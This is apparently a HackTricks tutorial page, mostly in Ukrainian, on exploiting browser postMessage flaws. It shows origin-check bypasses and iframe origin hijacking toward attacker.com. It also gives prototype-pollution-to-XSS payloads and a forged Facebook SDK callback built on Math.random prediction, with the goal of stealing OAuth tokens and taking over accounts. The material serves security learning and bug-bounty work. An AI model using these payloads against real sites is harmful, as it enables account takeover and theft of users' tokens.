PostMessage Вразливості
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Відправлення PostMessage
PostMessage використовує наступну функцію для відправлення повідомлення:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Зауважте, що targetOrigin може бути ‘*’ або URL, наприклад https://company.com.
У другому сценарії, повідомлення може бути надіслано лише цьому домену (навіть якщо origin об’єкта window відрізняється).
Якщо використано wildcard, повідомлення можуть бути надіслані будь-якому домену, і вони будуть надіслані на origin об’єкта Window.
Атака на iframe & wildcard у targetOrigin
Як пояснюється в this report якщо ви знайдете сторінку, яку можна iframed (немає X-Frame-Header захисту) і яка відправляє чутливе повідомлення через postMessage, використовуючи wildcard (*), ви можете змінити origin iframe і leak чутливе повідомлення до домену під вашим контролем.
Зауважте, що якщо сторінку можна iframed, але targetOrigin встановлено на URL, а не на wildcard, цей трюк не спрацює.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Експлуатація addEventListener
addEventListener — це функція, яку використовує JS для оголошення функції, яка очікує postMessages.
Код, подібний до наведеного нижче, буде використаний:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn’t check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Enumeration
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListenerand$(window).on(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
 (1).png)
- Go to Elements –> Event Listeners in the developer tools of the browser
.png)
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
Origin check bypasses
event.isTrustedattribute is considered secure as it returnsTrueonly for events that are generated by genuine user actions. Though it’s challenging to bypass if implemented correctly, its significance in security checks is notable.- The use of
indexOf()for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- The
search()method fromString.prototype.search()is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
The
match()function, similar tosearch(), processes regex. If the regex is improperly structured, it might be prone to bypassing. -
The
escapeHtmlfunction is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledgehasOwnProperty, theescapeHtmlwon’t perform as expected. This is demonstrated in the examples below: -
Expected Failure:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Bypassing the escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
In the context of this vulnerability, the File object is notably exploitable due to its read-only name property. This property, when used in templates, is not sanitized by the escapeHtml function, leading to potential security risks.
- The
document.domainproperty in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
Origin-only trust + trusted relays
If a receiver only checks event.origin (e.g., trusts any *.trusted.com) you can often find a “relay” page on that origin that echoes attacker-controlled params via postMessage to a supplied targetOrigin/targetWindow. Examples include marketing/analytics gadgets that take query params and forward {msg_type, access_token, ...} to opener/parent. You can:
- Open the victim page in a popup/iframe that has an
openerso its handlers register (many pixels/SDKs only attach listeners whenwindow.openerexists). - Navigate another attacker window to the relay endpoint on the trusted origin, populating message fields you want injected (message type, tokens, nonces).
- Because the message now comes from the trusted origin, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.
Abuse patterns seen in the wild:
- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like
FACEBOOK_IWL_BOOTSTRAP, then call backend APIs using a token supplied in the message and includelocation.href/document.referrerin the request body. If you supply your own token, you can read these requests in the token’s request history/logs and exfil OAuth codes/tokens present in the URL/referrer of the victim page. - Any relay that reflects arbitrary fields into
postMessagelets you spoof message types expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.
Hunting tips: enumerate postMessage listeners that only check event.origin, then look for same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). Stitch both together with window.open() + postMessage to bypass origin checks.
e.origin == window.origin bypass
When embedding a web page within a sandboxed iframe using %%%%%%, it’s crucial to understand that the iframe’s origin will be set to null. This is particularly important when dealing with sandbox attributes and their implications on security and functionality.
By specifying allow-popups in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the allow-popups-to-escape-sandbox attribute is also included, the popup window’s origin is similarly set to null, aligning with the iframe’s origin.
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using postMessage, both the sending and receiving ends have their origins set to null. This situation leads to a scenario where e.origin == window.origin evaluates to true (null == null), because both the iframe and the popup share the same origin value of null.
For more information read:
Bypassing SOP with Iframes - 1
Bypassing e.source
It’s possible to check if the message came from the same window the script is listening in (specially interesting for Content Scripts from browser extensions to check if the message was sent from the same page):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Ви можете змусити e.source повідомлення бути null, створивши iframe, який відправляє postMessage і негайно видаляється.
Для отримання додаткової інформації читайте:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
Щоб виконати ці атаки, в ідеалі ви зможете вставити сторінку жертви всередину iframe. Але деякі заголовки, такі як X-Frame-Header, можуть перешкоджати такій поведінці.
У цих сценаріях ви все ще можете використати менш приховану атаку. Ви можете відкрити нову вкладку з вразливим веб-застосунком і спілкуватися з ним:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Викрадення повідомлення, надісланого дочірньому елементу, шляхом блокування головної сторінки
На наступній сторінці ви можете побачити, як можна вкрасти чутливі postmessage дані, надіслані у дочірній iframe, блокуючи головну сторінку перед надсиланням даних та зловживаючи XSS у дочірньому щоб leak дані до їх отримання:
Blocking main page to steal postmessage
Викрадення повідомлення шляхом зміни location iframe
Якщо ви можете iframe веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете змінити location того дочірнього iframe, тож якщо він отримує postmessage, відправлений із використанням wildcard, зловмисник міг би змінити origin цього iframe на сторінку, контрольовану ним, і вкрасти повідомлення:
Steal postmessage modifying iframe location
postMessage до Prototype Pollution і/або XSS
У сценаріях, де дані, надіслані через postMessage, виконуються JS, ви можете iframe сторінку та експлуатувати prototype pollution/XSS, відправивши експлойт через postMessage.
Декілька детально пояснених XSS через postMessage можна знайти за адресою https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Приклад експлойту для зловживання Prototype Pollution, а потім XSS через postMessage до iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Для додаткової інформації:
- Посилання на сторінку про prototype pollution
- Посилання на сторінку про XSS
- Посилання на сторінку про client side prototype pollution to XSS
Завантаження скриптів на основі origin та supply-chain pivot (CAPIG case study)
capig-events.js реєстрував обробник message лише коли існував window.opener. Під час IWL_BOOTSTRAP він перевіряв pixel_id, але зберігав event.origin і пізніше використав його для побудови ${host}/sdk/${pixel_id}/iwl.js.
Handler writing attacker-controlled origin
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Отримати opener: наприклад, у Facebook Android WebView повторно використати
window.nameзwindow.open(target, name), щоб вікно стало своїм власним opener, а потім відправитиpostMessageз шкідливого iframe. - Надіслати
IWL_BOOTSTRAPз будь-якого origin, щоб зберегтиhost = event.originуlocalStorage. - Розмістити
/sdk/<pixel_id>/iwl.jsна будь-якому origin, дозволеному CSP (takeover/XSS/upload на домені аналітики в allowlist). ПотімstartIWL()завантажує attacker JS на сайті-інтеграторі (наприклад,www.meta.com), що дозволяє авторизовані cross-origin виклики та account takeover.
Якщо прямий контроль opener був неможливим, компрометація стороннього iframe на сторінці все одно дозволяла надіслати сформований postMessage у parent, щоб отруїти збережений host і примусити завантаження скрипта.
Backend-generated shared script → stored XSS: Плагін AHPixelIWLParametersPlugin конкатенував параметри правил користувача в JS, який додавався до capig-events.js (наприклад, cbq.config.set(...)). Ін’єкція розривів типу "]} дозволяла вставляти довільний JS, створюючи stored XSS у спільному скрипті, який обслуговувався всім сайтам, що його підвантажували.
Список довірених origin (allowlist) не є межею
Строга перевірка event.origin працює лише тоді, коли довірений origin не може запускати attacker JS. Коли привілейовані сторінки вбудовують сторонні iframe та припускають, що event.origin === "https://partner.com" безпечний, будь-який XSS на partner.com стає мостом у parent:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
Шаблон атаки, помічений у реальному житті:
- Використати XSS в iframe партнера та залишити relay gadget так, щоб будь-яке
postMessageставало code exec всередині довіреного origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, надішліть JS у скомпрометований iframe, який пересилає дозволений тип повідомлення назад до parent. Повідомлення походить з
partner.com, проходить allowlist і містить HTML, який вставляється небезпечно:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- Батьківський фрейм інжектить HTML від атакуючого, даючи JS execution in the parent origin (наприклад,
facebook.com), що може бути використано для крадіжки OAuth кодів або pivot до повного takeover акаунта.
Key takeaways:
- Origin партнера не є межею: будь-який XSS у «довіреному» партнері дозволяє атакуючим надсилати дозволені повідомлення, які обходять перевірки
event.origin. - Обробники, які рендерять partner-controlled payloads (наприклад,
innerHTMLдля певних типів повідомлень), перетворюють компроміс партнера на same-origin DOM XSS. - Широка message surface (багато типів, відсутня валідація структури) дає більше гаджетів для pivoting після компрометації iframe партнера.
Predicting Math.random() callback tokens in postMessage bridges
Коли валідація повідомлень використовує «shared secret», згенерований через Math.random() (наприклад, guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) і той самий хелпер також дає імена plugin iframe, можна відновити PRNG-виходи і підробити trusted messages:
- Leak PRNG outputs via
window.name: SDK автоматично іменує plugin iframes за допомогоюguid(). Якщо ви контролюєте top frame, iframe-нете сторінку жертви, потім перенаправите plugin iframe на ваш origin (наприклад,window.frames[0].frames[0].location='https://attacker.com') і прочитаєтеwindow.frames[0].frames[0].name, щоб отримати rawMath.random()output. - Force more outputs without reloads: Деякі SDK відкривають шлях для реініціалізації; в FB SDK виклик
init:postз{xfbml:1}примушуєXFBML.parse(), знищує/створює знову plugin iframe і генерує нові імена/ID callback. Повторені reinit дають стільки PRNG-виходів, скільки потрібно (зауважте додаткові внутрішніMath.random()виклики для callback/iframe ID, тому solvers повинні пропускати проміжні значення). - Trusted-origin delivery via parameter pollution: Якщо first-party plugin endpoint відображає ненадісланий параметр у cross-window payload (наприклад,
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), ви можете інжектити&type=...&iconSVG=..., зберігаючи trustedfacebook.comorigin. - Predict the next callback: Перетворіть отримані імена iframe назад у float у
[0,1)і подайте кілька значень (навіть не послідовних) у V8Math.randompredictor (наприклад, Z3-based). Згенеруйте наступнийguid()локально, щоб підробити очікуваний callback token. - Trigger the sink: Сформуйте postMessage data так, щоб місток диспатчив
xd.mpn.setupIconIframeі інжектував HTML вiconSVG(наприклад, URL-encoded<img src=x onerror=...>), досягаючи DOM XSS всередині hosting origin; звідти можна читати same-origin iframes (OAuth dialogs, arbiters тощо). - Framing quirks help: Ланцюг вимагає фреймінгу. В деяких mobile webviews
X-Frame-Optionsможе деградувати до unsupportedALLOW-FROM, коли присутнійframe-ancestors, а “compat” параметри можуть примусити permissiveframe-ancestors, даючи змогуwindow.nameside channel.
Мінімальний приклад підробленого повідомлення
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
Посилання
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Для практики: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage origin trust → script loading + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback prediction → DOM XSS writeup
- V8 Math.random() state recovery (Z3 predictor)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


